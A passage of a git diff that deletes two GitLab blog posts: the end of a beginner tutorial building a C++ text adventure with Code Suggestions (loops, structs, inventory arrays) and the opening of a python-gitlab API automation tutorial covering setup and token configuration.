-                std::cout << "Singing along, a merfolk surfaces and gifts " << playerName
-                        << " a special blue gem as a token of appreciation for their voice."
-                        << std::endl;
-            }
-            break;
-    ```
-
-
-    Our player isn't limited to just exploring Shimmering Lake. There's a whole
-    realm to explore and they might want to go back and explore other locations.
-
-
-    To facilitate this, we can use a `while` loop. A loop is a type of
-    conditional that allows a specific section of code to be executed multiple
-    times based on a condition. For the `condition` that allows our `while` loop
-    to run multiple times, let's use a `boolean` to initialize the loop
-    condition.
-
-
-    ```cpp
-        // Initialize a flag to control the loop and signify the player's intent to explore.
-        bool exploring = true;
-        // As long as the player wishes to keep exploring, this loop will run.
-        while(exploring) {
-            // wrap the code for switch(choice)
-        }
-    ```
-
-
-    We also need to move our location prompt inside the `while` loop so that the
-    player can visit more than one location at the time.
-
-
-    ![adventure.cpp - CS helps us write a go next prompt for the
-    locations](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.6-while-loop-go-next.png){:
-    .shadow}
-
-
-    ```cpp
-        // Initialize a flag to control the loop and signify the player's intent to explore.
-        bool exploring = true;
-        // As long as the player wishes to keep exploring, this loop will run.
-        while(exploring) {
-
-            // If still exploring, ask the player where they want to go next
-            std::cout << "Where will " << playerName << " go next?" << std::endl;
-            std::cout << "1. Moonlight Markets" << std::endl;
-            std::cout << "2. Grand Library" << std::endl;
-            std::cout << "3. Shimmering Lake" << std::endl;
-            std::cout << "Please enter your choice: ";
-            // Update value of choice
-            std::cin >> choice;
-
-            // Respond based on the player's main choice
-            switch(choice) {
-    ```
-
-
-    Our `while` loop will keep running as long as `exploring` is `true`, so we
-    need a way for the player to have the option to exit the game. Let's add a
-    case 4 that allows the player to exit by setting `exploring = false`. This
-    will exit the loop and take the player back to the original choices.
-
-
-    ```cpp
-        // Option to exit the game
-        case 4:
-            exploring = false;
-            break;
-    ```
-
-
-    **Async exercise**: Give the player the option to exit the game instead of
-    exploring a new decision.
-
-
-    We also need to update the error handling for invalid inputs in the `switch`
-    statement. You can decide whether to end the program or use the `continue`
-    statement to start a new loop iteration.
-
-
-    ```cpp
-            default:
-                std::cout << "You did not enter a valid choice." << std::endl;
-                continue; // Errors continue with the next loop iteration
-    ```
-
-
-    Using I/O and conditionals is at the core of text-based adventure games and
-    helps make these games interactive. We can combine user input, display
-    output, and implement our narrative into decision-making logic to create an
-    engaging experience.
-
-
-    Here's what our `adventure.cpp` looks like now with some comments:
-
-
-    ```cpp
-
-    #include <iostream> // Include the I/O stream library for input and output
-
-
-    // Main function, the starting point of the program
-
-    int main()
-
-    {
-        std::cout << "Welcome to the Dragon Realm!" << std::endl;
-
-        // Declare a string variable to store the player name
-        std::string playerName;
-
-        // Prompt the user to enter their player name
-        std::cout << "Please enter your name: ";
-        std::cin >> playerName;
-
-        // Display a personalized welcome message to the player with their name
-        std::cout << "Welcome " << playerName << " to The Dragon Realm!" << std::endl;
-
-        // Declare an int variable to capture the user's choice
-        int choice;
-        // Declare an int variable to capture the user's nested choice
-        int nestedChoice;
-
-        // Initialize a flag to control the loop and signify the player's intent to explore.
-        bool exploring = true;
-        // As long as the player wishes to keep exploring, this loop will run.
-        while(exploring) {
-
-            // If still exploring, ask the player where they want to go next
-            std::cout << "Where will " << playerName << " go next?" << std::endl;
-            std::cout << "1. Moonlight Markets" << std::endl;
-            std::cout << "2. Grand Library" << std::endl;
-            std::cout << "3. Shimmering Lake" << std::endl;
-            std::cout << "Please enter your choice: ";
-            // Update value of choice
-            std::cin >> choice;
-
-            // Respond based on the player's main choice
-            switch(choice) {
-                //  Handle the Moonlight Markets scenario
-                case 1:
-                    std::cout << "You chose Moonlight Markets." << std::endl;
-                    break;
-                // Handle the Grand Library scenario.
-                case 2:
-                    std::cout << "You chose Grand Library." << std::endl;
-                    break;
-                // Handle the Shimmering Lake scenario.
-                case 3:
-                    std::cout << playerName << " arrives at Shimmering Lake. It is one of the most beautiful lakes that" << playerName << " has seen. They hear a mysterious melody from the water. They can either: " << std::endl;
-                    std::cout << "1. Stay quiet and listen" << std::endl;
-                    std::cout << "2. Sing along with the melody" << std::endl;
-                    std::cout << "Please enter your choice: ";
-
-                    // Capture the user's nested choice
-                    std::cin >> nestedChoice;
-
-                    // If the player chooses to remain silent
-                    if (nestedChoice == 1)
-                    {
-                        std::cout << "Remaining silent, " << playerName << " hears whispers of the merfolk below, but nothing happens." << std::endl;
-                    }
-                    // If the player chooses to sing along with the melody
-                    else if (nestedChoice == 2)
-                    {
-                        std::cout << "Singing along, a merfolk surfaces and gifts " << playerName
-                                << " a special blue gem as a token of appreciation for their voice."
-                                << std::endl;
-                    }
-                    break;
-                // Option to exit the game
-                case 4:
-                    exploring = false;
-                    break;
-                // If 'choice' is not 1, 2, or 3, this block is executed.
-                default:
-                    std::cout << "You did not enter a valid choice." << std::endl;
-                    continue; // Errors continue with the next loop iteration
-            }
-        }
-
-        // Return 0 to indicate successful execution
-        return 0;
-    }
-
-    ```
-
-
-    Here's what the build output looks like if we run `adventure.cpp` and the
-    player heads to the Shimmering Lake.
-
-
-    ![adventure.cpp build output - the player is called sugaroverflow and heads
-    to the Shimmering Lake and receives a
-    gem](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.6.1-full-case-3-output.png){:
-    .shadow}
-
-
-    ## Structuring the narrative: Characters
-
-    Our player can now explore the world. Soon, our player will also be able to
-    meet people and collect objects. Before we can do that, let's organize the
-    things our player can do with creating some structure for the player
-    character.
-
-
-    In C++, a `struct` is used to group different data types. It's helpful in
-    creating a group of items that belong together, such as our player's
-    attributes and inventory, into a single unit. `struct` objects are defined
-    globally, which means at top the file, before the `main() function.
-
-
-    If you start typing `struct Player {`, Code Suggestions will help you out
-    with a sample definition of a player struct.
-
-
-    ![adventure.cpp - Code Suggestions helps with setting up the struct
-    definition for the
-    player](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/4-player-struct-definition.png){:
-    .shadow}
-
-
-    After accepting this suggestion, you might find that Code Suggestions is
-    eager to define some functions to make this game more fun, such as hunting
-    for treasure.
-
-
-    ![adventure.cpp - Code Suggestions provides a suggestion for creating
-    functions to hunt for
-    treasure.](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/4.1-player-struct-treasure-suggestion.png){:
-    .shadow}
-
-
-    ```cpp
-
-    // Define a structure for a Player in the game.
-
-    struct Player{
-        std::string name;  // The name of the player.
-        int health;        // The current health of the player.
-        int xp;            // Experience points gained by the player. Could be used for leveling up or other game mechanics.
-    };
-
-    ```
-
-
-    Giving the player experience points was not in my original plan for this
-    text adventure game, but Code Suggestions makes an interesting suggestion.
-    We could use `xp` for leveling up or for other game mechanics as our project
-    grows.
-
-
-    `struct Player` provides a blueprint for creating a player and details the
-    attributes that make up a player. To use our player in our code, we must
-    instantiate, or create, an object of the `Player` struct within our `main()`
-    function. Objects in C++ are instances of structures that contain
-    attributes. In our example, we're working with the `Player` struct, which
-    has attributes like name, health, and xp.
-
-
-    As you're creating a `Player` object, you might find that Code Suggestions
-    wants to name the player "John."
-
-
-    ![adventure.cpp - code suggestions suggests naming the new Player object
-    John.](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/4.2-player-struct-instance-john.png){:
-    .shadow}
-
-
-    ```cpp
-
-    int main() {
-        // Create an instance of the Player struct
-        Player player;
-        player.health = 100; // Assign a default value for HP
-    ```
-
-
-    Instead of naming our player "John" for everyone, we'll use the `Player`
-    object to set the attribute for name. When we want to interact with or
-    manipulate an attribute of an object, we use the dot operator `.`. The dot
-    operator allows us to access specific members of the object. We can set the
-    player's name using the dot operator with `player.name`.
-
-
-    Note that we need to replace other mentions of `playerName` the variable
-    with `player.name`, which allows us to access the player object's name
-    directly.
-
-
-    * Search for all occurrences of the `playerName` variable, and replace it
-    with `player.name`.
-
-    * Comment/Remove the unused `std::string playerName` variable after that.
-
-
-    What your `adventure.cpp` will look like now:
-
-
-    ```cpp
-
-    #include <iostream> // Include the I/O stream library for input and output
-
-
-    // Define a structure for a Player in the game.
-
-    struct Player{
-        std::string name;  // The name of the player.
-        int health;        // The current health of the player.
-        int xp;            // Experience points gained by the player. Could be used for leveling up or other game mechanics.
-    };
-
-
-    // Main function, the starting point of the program
-
-    int main()
-
-    {
-        std::cout << "Welcome to the Dragon Realm!" << std::endl;
-
-        // Create an instance of the Player struct
-        Player player;
-        player.health = 100; // Assign a default value for HP
-
-        // Prompt the user to enter their player name
-        std::cout << "Please enter your name: ";
-        std::cin >> player.name;
-
-        // Display a personalized welcome message to the player with their name
-        std::cout << "Welcome " << player.name << " to The Dragon Realm!" << std::endl;
-
-        // Declare an int variable to capture the user's choice
-        int choice;
-        // Declare an int variable to capture the user's nested choice
-        int nestedChoice;
-
-        // Initialize a flag to control the loop and signify the player's intent to explore.
-        bool exploring = true;
-        // As long as the player wishes to keep exploring, this loop will run.
-        while(exploring) {
-
-            // If still exploring, ask the player where they want to go next
-            std::cout << "Where will " << player.name << " go next?" << std::endl;
-            std::cout << "1. Moonlight Markets" << std::endl;
-            std::cout << "2. Grand Library" << std::endl;
-            std::cout << "3. Shimmering Lake" << std::endl;
-            std::cout << "Please enter your choice: ";
-            // Update value of choice
-            std::cin >> choice;
-
-            // Respond based on the player's main choice
-            switch(choice) {
-                //  Handle the Moonlight Markets scenario
-                case 1:
-                    std::cout << "You chose Moonlight Markets." << std::endl;
-                    break;
-                // Handle the Grand Library scenario.
-                case 2:
-                    std::cout << "You chose Grand Library." << std::endl;
-                    break;
-                // Handle the Shimmering Lake scenario.
-                case 3:
-                    std::cout << player.name << " arrives at Shimmering Lake. It is one of the most beautiful lakes that" << player.name << " has seen. They hear a mysterious melody from the water. They can either: " << std::endl;
-                    std::cout << "1. Stay quiet and listen" << std::endl;
-                    std::cout << "2. Sing along with the melody" << std::endl;
-                    std::cout << "Please enter your choice: ";
-
-                    // Capture the user's nested choice
-                    std::cin >> nestedChoice;
-
-                    // If the player chooses to remain silent
-                    if (nestedChoice == 1)
-                    {
-                        std::cout << "Remaining silent, " << player.name << " hears whispers of the merfolk below, but nothing happens." << std::endl;
-                    }
-                    // If the player chooses to sing along with the melody
-                    else if (nestedChoice == 2)
-                    {
-                        std::cout << "Singing along, a merfolk surfaces and gifts " << player.name
-                                << " a special blue gem as a token of appreciation for their voice."
-                                << std::endl;
-                    }
-                    break;
-                // Option to exit the game
-                case 4:
-                    exploring = false;
-                    break;
-                // If 'choice' is not 1, 2, or 3, this block is executed.
-                default:
-                    std::cout << "You did not enter a valid choice." << std::endl;
-                    continue; // Errors continue with the next loop iteration
-            }
-        }
-
-        // Return 0 to indicate successful execution
-        return 0;
-    }
-
-    ```
-
-
-    ## Structuring the narrative: Items
-
-    An essential part of adventure games is a player's inventory - the
-    collection of items they acquire and use during their journey. For example,
-    at Shimmering Lake, the player acquired a blue gem.
-
-
-    Let's update our Player `struct` to include an inventory using an array. In
-    C++, an `array` is a collection of elements of the same type that can be
-    identified by an index. When creating an array, you need to specify its type
-    and size. Start by adding `std::string inventory` to the Player `struct`:
-
-
-    ![adventure.cpp - Code Suggestions shows us how to add an array of strings
-    to the player struct to use as the players
-    inventory](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5-add-inventory-player-struct.png){:
-    .shadow}
-
-
-    You might find that Code Suggestions wants our player to be able to carry
-    some gold, but we don't need that for now. Let's also add `int
-    inventoryCount;` to keep track of the number of items in our player's
-    inventory.
-
-
-    ![adventure.cpp - Code Suggestions shows us how to add an integer for
-    inventoryCount to the player
-    struct](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5.1-add-inventory-count-player-struct.png){:
-    .shadow}
-
-
-    ```cpp
-
-    // Define a structure for a Player in the game.
-
-    struct Player{
-        std::string name;  // The name of the player.
-        int health;        // The current health of the player.
-        int xp;            // Experience points gained by the player. Could be used for leveling up or other game mechanics.
-        std::string inventory[10];  // An array of strings for the player's inventory.
-        int inventoryCount = 0;  // The number of items in the player's inventory.
-    };
-
-    ```
-
-    In our Player `struct`, we have defined an array for our inventory that can
-    hold the names of 10 items (type:string, size: 10). As the player progresses
-    through our story, we can assign new items to the inventory array based on
-    the player's actions using the array index.
-
-
-    Sometimes Code Suggestions gets ahead of me and tries to add more complexity
-    to the game by suggesting that we need to create a `struct` for some
-    Monsters. Maybe later, Code Suggestions!
-
-
-    ![adventure.cpp - Code Suggestions wants to add a struct for Monsters we can
-    battle](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5.2-suggestion-gets-distracted-by-monsters.png
-
-    ){: .shadow}
-
-
-    Back at the Shimmering Lake, the player received a special blue gem from the
-    merfolk. Let's update the code in `case 2` for the Shimmering Lake to add
-    the gem to our player's inventory.
-
-
-    You can start by accessing the player's inventory with `player.inventory`
-    and Code Suggestions will help add the gem.
-
-
-    ![adventure.cpp - Code Suggestions shows us how to add a gem to the player's
-    inventory using a post-increment operation and the inventory array from the
-    struct
-    object](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5.3-add-gem-to-inventory.png){:
-    .shadow}
-
-
-    ```cpp
-        // If the player chooses to sing along with the melody
-        else if (nestedChoice == 2)
-        {
-            std::cout << "Singing along, a merfolk surfaces and gifts " << player.name
-                    << " a special blue gem as a token of appreciation for their voice."
-                    << std::endl;
-            player.inventory[player.inventoryCount] = "Blue Gem";
-            player.inventoryCount++;
-        }
-    ```
-
-
-    * `player.inventory`: accesses the inventory attribute of the player object
-
-    * `player.inventoryCount`: accesses the integer that keeps track of how many
-    items are currently in the player's inventory. This also represents the next
-    available index in our inventory array where an item can be stored.
-
-    * `player.inventoryCount++`: increments the value of inventoryCount by 1.
-    This is a post-increment operation. We are adding “Blue Gem” to the next
-    available slot in the inventory array and incrementing the array for the
-    newly added item.
-
-
-    Once we've added something to our player's inventory, we may also want to be
-    able to look at everything in the inventory. We can use a `for` loop to
-    iterate over the inventory array and display each item.
-
-
-    In C++, a `for` loop allows code to be repeatedly executed a specific number
-    of times. It's different from the `while` loop we used earlier because the
-    `while` executes its body based on a condition, whereas a `for` loop
-    iterates over a sequence or range, usually with a known number of times.
-
-
-    After adding the gem to the player's inventory, let's display all the items
-    it has. Try starting a for loop with `for ( ` to display the player's
-    inventory and Code Suggestions will help you with the syntax.
-
-
-    ![adventure.cpp - Code Suggestions demonstrates how to write a for loop to
-    loop through the players
-    inventory](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5.4-loop-over-players-inventory.png){:
-    .shadow}
-
-
-    ```cpp
-
-    std::cout << player.name << "'s Inventory:" << std::endl;
-
-    // Loop through the player's inventory up to the count of items they have
-
-    for (int i = 0; i < player.inventoryCount; i++)
-
-    {
-        // Output the item in the inventory slot
-        std::cout << "- " << player.inventory[i] << std::endl;
-    }
-
-    ```
-
-
-    A `for` loop consists of 3 main parts:
-
-
-    * `int i = 0`: is the initialization where you set up your loop variable.
-    Here, we start counting from 0.
-
-    * `i < player.inventoryCount`: is the condition we're looping on, our loop
-    checks if `i`, the current loop variable, is less than the number of items
-    in our inventory. It will keep going until this is true.
-
-    * `i++`: is the iteration. This updates the loop variable each time the loop
-    runs.
-
-
-    To make sure that our loop doesn't encounter an error, let's add some error
-    handling to make sure the inventory is not empty when we try to output it.
-
-
-    ```
-
-    std::cout << player.name << "'s Inventory:" << std::endl;
-
-    // Loop through the player's inventory up to the count of items they have
-
-    for (int i = 0; i < player.inventoryCount; i++)
-
-    {
-        // Check if the inventory slot is not empty.
-        if (!player.inventory[i].empty())
-        {
-            // Output the item in the inventory slot
-            std::cout << "- " << player.inventory[i] << std::endl;
-        }
-    }
-
-    ```
-
-
-    With our progress so far, we've successfully established a persistent
-    `while` loop for our adventure, handled decisions, crafted a `struct` for
-    our player, and implemented a simple inventory system. Now, let's dive into
-    the next scenario, the Grand Library, applying the foundations we've
-    learned.
-
-
-    **Async exercise**: Add more inventory items found in different locations.
-
-
-    Here's what we have for `adventure.cpp` so far:
-
-
-    ```cpp
-
-    #include <iostream> // Include the I/O stream library for input and output
-
-
-    // Define a structure for a Player in the game.
-
-    struct Player{
-        std::string name;  // The name of the player.
-        int health;        // The current health of the player.
-        int xp;            // Experience points gained by the player. Could be used for leveling up or other game mechanics.
-        std::string inventory[10];  // An array of strings for the player's inventory.
-        int inventoryCount = 0;
-    };
-
-
-    // Main function, the starting point of the program
-
-    int main()
-
-    {
-        std::cout << "Welcome to the Dragon Realm!" << std::endl;
-
-        // Create an instance of the Player struct
-        Player player;
-        player.health = 100; // Assign a default value for HP
-
-        // Prompt the user to enter their player name
-        std::cout << "Please enter your name: ";
-        std::cin >> player.name;
-
-        // Display a personalized welcome message to the player with their name
-        std::cout << "Welcome " << player.name << " to The Dragon Realm!" << std::endl;
-
-        // Declare an int variable to capture the user's choice
-        int choice;
-        // Declare an int variable to capture the user's nested choice
-        int nestedChoice;
-
-        // Initialize a flag to control the loop and signify the player's intent to explore.
-        bool exploring = true;
-        // As long as the player wishes to keep exploring, this loop will run.
-        while(exploring) {
-
-            // If still exploring, ask the player where they want to go next
-            std::cout << "--------------------------------------------------------" << std::endl;
-            std::cout << "Where will " << player.name << " go next?" << std::endl;
-            std::cout << "1. Moonlight Markets" << std::endl;
-            std::cout << "2. Grand Library" << std::endl;
-            std::cout << "3. Shimmering Lake" << std::endl;
-            std::cout << "Please enter your choice: ";
-            // Update value of choice
-            std::cin >> choice;
-
-            // Respond based on the player's main choice
-            switch(choice) {
-                //  Handle the Moonlight Markets scenario
-                case 1:
-                    std::cout << "You chose Moonlight Markets." << std::endl;
-                    break;
-                // Handle the Grand Library scenario.
-                case 2:
-                    std::cout << "You chose Grand Library." << std::endl;
-                    break;
-                // Handle the Shimmering Lake scenario.
-                case 3:
-                    std::cout << player.name << " arrives at Shimmering Lake. It is one of the most beautiful lakes that" << player.name << " has seen. They hear a mysterious melody from the water. They can either: " << std::endl;
-                    std::cout << "1. Stay quiet and listen" << std::endl;
-                    std::cout << "2. Sing along with the melody" << std::endl;
-                    std::cout << "Please enter your choice: ";
-
-                    // Capture the user's nested choice
-                    std::cin >> nestedChoice;
-
-                    // If the player chooses to remain silent
-                    if (nestedChoice == 1)
-                    {
-                        std::cout << "Remaining silent, " << player.name << " hears whispers of the merfolk below, but nothing happens." << std::endl;
-                    }
-                    // If the player chooses to sing along with the melody
-                    else if (nestedChoice == 2)
-                    {
-                        std::cout << "Singing along, a merfolk surfaces and gifts " << player.name
-                                << " a special blue gem as a token of appreciation for their voice."
-                                << std::endl;
-                        player.inventory[player.inventoryCount] = "Blue Gem";
-                        player.inventoryCount++;
-
-                        std::cout << player.name << "'s Inventory:" << std::endl;
-                        // Loop through the player's inventory up to the count of items they have
-                        for (int i = 0; i < player.inventoryCount; i++)
-                        {
-                            // Check if the inventory slot is not empty.
-                            if (!player.inventory[i].empty())
-                            {
-                                // Output the item in the inventory slot
-                                std::cout << "- " << player.inventory[i] << std::endl;
-                            }
-                        }
-
-                    }
-                    break;
-                // Option to exit the game
-                case 4:
-                    exploring = false;
-                    break;
-                // If 'choice' is not 1, 2, or 3, this block is executed.
-                default:
-                    std::cout << "You did not enter a valid choice." << std::endl;
-                    continue; // Errors continue with the next loop iteration
-            }
-        }
-
-        // Return 0 to indicate successful execution
-        return 0;
-    }
-
-    ```
-
-
-    ![adventure.cpp - A full output of the game at the current state - our
-    player sugaroverflow visits the Lake, receives the gem, adds it to their
-    inventory, and we display the inventory before returning to the
-    loop](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5.5-full-output-shimmering-lake.png){:
-    .shadow}
-  category: AI/ML
-  tags:
-    - DevSecOps platform
-    - AI/ML
-    - workflow
-    - DevSecOps
-    - tutorial
-config:
-  slug: building-a-text-adventure-using-cplusplus-and-code-suggestions
-  featured: false
-  template: BlogPost
diff --git a/content/en-us/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation.yml b/content/en-us/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation.yml
deleted file mode 100644
index 0c7de383f..000000000
--- a/content/en-us/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation.yml
+++ /dev/null
@@ -1,1669 +0,0 @@
-seo:
-  title: 'Efficient DevSecOps workflows: Hands-on python-gitlab API automation'
-  description: >-
-    The python-gitlab library is a useful abstraction layer for the GitLab API.
-    Dive into hands-on examples and best practices in this tutorial.
-  ogTitle: 'Efficient DevSecOps workflows: Hands-on python-gitlab API automation'
-  ogDescription: >-
-    The python-gitlab library is a useful abstraction layer for the GitLab API.
-    Dive into hands-on examples and best practices in this tutorial.
-  noIndex: false
-  ogImage: images/blog/hero-images/post-cover-image.jpg
-  ogUrl: >-
-    https://about.gitlab.com/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation
-  ogSiteName: https://about.gitlab.com
-  ogType: article
-  canonicalUrls: >-
-    https://about.gitlab.com/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation
-  schema: |2-
-
-                            {
-            "@context": "https://schema.org",
-            "@type": "Article",
-            "headline": "Efficient DevSecOps workflows: Hands-on python-gitlab API automation",
-            "author": [{"@type":"Person","name":"Michael Friedrich"}],
-            "datePublished": "2023-02-01",
-          }
-
-content:
-  title: 'Efficient DevSecOps workflows: Hands-on python-gitlab API automation'
-  description: >-
-    The python-gitlab library is a useful abstraction layer for the GitLab API.
-    Dive into hands-on examples and best practices in this tutorial.
-  authors:
-    - Michael Friedrich
-  heroImage: images/blog/hero-images/post-cover-image.jpg
-  date: '2023-02-01'
-  body: >-
-    A friend once said in a conference presentation, “Manual work is a bug."
-    When there are repetitive tasks in workflows, I tend to [come back to this
-    quote](https://twitter.com/dnsmichi/status/1574087419237916672), and try to
-    automate as much as possible. For example, by querying a REST API to do an
-    inventory of settings, or calling API actions to create new comments in
-    GitLab issues/merge requests. The interaction with the GitLab REST API can
-    be done in different ways, using HTTP requests with curl (or
-    [hurl](/blog/2022/12/14/how-to-continously-test-web-apps-apis-with-hurl-and-gitlab-ci-cd/))
-    on the command line, or by writing a script in a programming language. The
-    latter can become reinventing the wheel again with raw HTTP requests code,
-    and parsing the JSON responses
-
-    Thanks to the wider GitLab community, many different languages are supported
-    by API abstraction libraries. They provide support for all API attributes,
-    add helper functions to get/create/delete objects, and generally aim to help
-    developers focus. The [python-gitlab
-    library](https://python-gitlab.readthedocs.io/en/stable/) is a feature-rich
-    and easy-to-use library written in Python.
-
-
-    In this blog post, you will learn about the basic usage of the library by
-    working with API objects, attributes, pagination and resultsets, and dive
-    into more concrete use cases collecting data, printing summaries and writing
-    data to the API to create comments and commits. There is a whole lot more to
-    learn, with many of the use cases inspired by wider community questions on
-    the forum, Hacker News, issues, etc.
-
-
-    This blog post is a long read, so feel free to stick with the beginner's
-    tutorial or skip to the advanced DevSecOps use cases, development tips and
-    code optimizations by navigating the table of contents:
-
-
-    - [Getting started](#getting-started)
-
-    - [Configuration](#configuration)
-
-    - [Managing objects: The GitLab Object](#managing-objects-the-gitlab-object)
-        - [Objects managers and loading](#objects-managers-and-loading)
-        - [Pagination of results](#pagination-of-results)
-        - [Working with object relationships](#working-with-object-relationships)
-        - [Working with different object collection scopes](#working-with-different-object-collection-scopes)
-    - [DevSecOps use cases for API read
-    actions](#devsecops-use-cases-for-api-read-actions)
-        - [List branches by merged state](#list-branches-by-merged-state)
-        - [Print project settings for review: MR approval rules](#print-project-settings-for-review-mr-approval-rules)
-        - [Inventory: Get all CI/CD variables that are protected or masked](#inventory-get-all-cicd-variables-that-are-protected-or-masked)
-        - [Download a file from the repository](#download-a-file-from-the-repository)
-        - [Migration help: List all certificate-based Kubernetes clusters](#migration-help-list-all-certificate-based-kubernetes-clusters)
-        - [Team efficiency: Check if existing merge requests need to be rebased after merging a huge refactoring MR](#team-efficiency-check-if-existing-merge-requests-need-to-be-rebased-after-merging-a-huge-refactoring-mr)
-    - [DevSecOps use cases for API write
-    actions](#devsecops-use-cases-for-api-write-actions)
-        - [Move epics between groups](#move-epics-between-groups)
-        - [Compliance: Ensure that project settings are not overridden](#compliance-ensure-that-project-settings-are-not-overridden)
-        - [Taking notes, generate due date overview](#taking-notes-generate-due-date-overview)
-        - [Create issue index in a Markdown file, grouped by labels](#create-issue-index-in-a-markdown-file-grouped-by-labels)
-    - [Advanced DevSecOps workflows](#advanced-devsecops-workflows)
-        - [Container images to run API scripts](#container-images-to-run-api-scripts)
-        - [CI/CD integration: Release and changelog generation](#cicd-integration-release-and-changelog-generation)
-        - [CI/CD integration: Pipeline report summaries](#cicd-integration-pipeline-report-summaries)
-    - [Development tips](#development-tips)
-        - [Advanced custom configuration](#advanced-custom-configuration)
-        - [CI/CD code linting for different Python versions](#cicd-code-linting-for-different-python-versions)
-    - [Optimize code and performance](#optimize-code-and-performance)
-        - [Lazy objects](#lazy-objects)
-        - [Object-oriented programming](#object-oriented-programming)
-    - [More use cases](#more-use-cases)
-
-    - [Conclusion](#conclusion)
-
-
-    ## Getting started
-
-
-    The python-gitlab documentation is a great resource for [getting started
-    guides](https://python-gitlab.readthedocs.io/en/stable/api-usage.html),
-    object types and their available methods, and combined workflow examples.
-    Together with the [GitLab API resources
-    documentation](https://docs.gitlab.com/ee/api/api_resources.html), which
-    provides the object attributes that can be used, these are the best
-    resources to get going.
-
-
-    The code examples in this blog post require Python 3.8+, and the
-    `python-gitlab` library. Additional requirements are specified in the
-    `requirements.txt` file – one example requires `pyyaml` for YAML config
-    parsing. To follow and practice the use cases code, it is recommended to
-    clone the project, install the requirements and run the scripts. Example
-    with Homebrew on macOS:
-
-
-    ```shell
-
-    git clone
-    https://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python.git
-
-
-    cd gitlab-api-python
-
-
-    brew install python
-
-
-    pip3 install -r requirements.txt
-
-
-    python3 <scriptname>.py
-
-    ```
-
-
-    The scripts are intentionally not using a common shared library that
-    provides generic functions for parameter reads, or additional helper
-    functionality, for example. The idea is to show easy-to-follow examples that
-    can be used stand-alone for testing, and only require installing the
-    `python-gitlab` library as a dependency. Improving the code for production
-    use is recommended. This can also help with building a maintained API
-    tooling project that, for example, includes container images and CI/CD
-    templates for developers to consume on a DevSecOps platform.
-
-
-    ## Configuration
-
-
-    Without configuration, python-gitlab will run unauthenticated requests
-    against the default server `https://gitlab.com`. The most common
-    configuration settings relate to the GitLab instance to connect to, and the
-    authentication method by specifying access tokens. Python-gitlab supports
-    different types of configuration: A configuration file or environment
-    variables.
-
-
-    The [configuration
-    file](https://python-gitlab.readthedocs.io/en/stable/cli-usage.html#cli-configuration)
-    is available for the API library bindings, and the CLI (the CLI is not
-    explained in this blog post). The configuration file supports [credential
-    helpers](https://python-gitlab.readthedocs.io/en/stable/cli-usage.html#credential-helpers)
-    to access tokens directly.
-
-
-    Environment variables as an alternative configuration method provide an easy
-    way to run the script on terminal, integrate into container images, and
-    prepare them for running in CI/CD pipelines.
-
-
-    The configuration needs to be loaded into the Python script context. Start
-    by importing the `os` library to fetch environment variables using the
-    `os.environ.get()` method. The first parameter specifies the key, the second
-    parameter sets the default value when the variable is not available in the
-    environment.
-
-
-    ```python
-
-    import os
-
-
-    gl_server = os.environ.get('GL_SERVER', 'https://gitlab.com')
-
-
-    print(gl_server)
-
-    ```
-
-
-    The parametrization on the terminal can happen directly for the command
-    only, or exported into the shell environment.
-
-
-    ```shell
-
-    $ GL_SERVER=’https://gitlab.company.com’ python3 script.py
-
-
-    $ export GL_SERVER=’https://gitlab.company.com’
-
-    $ python3 script.py
-
-    ```
-
-
-    It is recommended to add safety checks to ensure that all variables are set
-    before continuing to run the program. The following snippet imports the
-    required libraries, reads the `GL_SERVER` environment variable and expects
-    the user to set the `GL_TOKEN` variable. If not, the script prints and
-    throws errors, and calls `sys.exit(1)` indicating an error status.
-
-
-    ```python
-
-    import gitlab
-
-    import os
-
-    import sys
-
-
-    GITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')
-
-    GITLAB_TOKEN = os.environ.get('GL_TOKEN')
-
-
-    if not GITLAB_TOKEN:
-        print("Please set the GL_TOKEN env variable.")
-        sys.exit(1)
-    ```
-
-
-    We will look into a more detailed example now which creates a connection to
-    the API and makes an actual data request.
-
-
-    ## Managing objects: The GitLab object
-
-
-    Any interaction with the API requires the GitLab object to be instantiated.
-    This is the entry point to configure the GitLab server to connect,
-    authenticate using access tokens, and more global settings for pagination,
-    object loading and more.
-
-
-    The following example runs an unauthenticated request against GitLab.com. It
-    is possible to access public API endpoints and for example get a specific
-    [.gitignore template for
-    Python](https://python-gitlab.readthedocs.io/en/stable/gl_objects/templates.html#gitignore-templates).
-
-
-    [python_gitlab_object_unauthenticated.py](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_object_unauthenticated.py)
-
-
-    ```python
-
-    import gitlab
-
-
-    gl = gitlab.Gitlab()
-
-
-    # Get .gitignore templates without authentication
-
-    gitignore_templates = gl.gitignores.get('Python')
-
-
-    print(gitignore_templates.content)
-
-    ```
-
-
-    The next sections provide more insights into:
-
-
-    - [Objects managers and loading](#objects-managers-and-loading)
-
-    - [Pagination of results](#pagination-of-results)
-
-    - [Working with object relationships](#working-with-object-relationships)
-
-    - [Working with different object collection
-    scopes](#working-with-different-object-collection-scopes)
-
-
-    ### Objects managers and loading
-
-
-    The python-gitlab library provides access to GitLab resources using
-    so-called
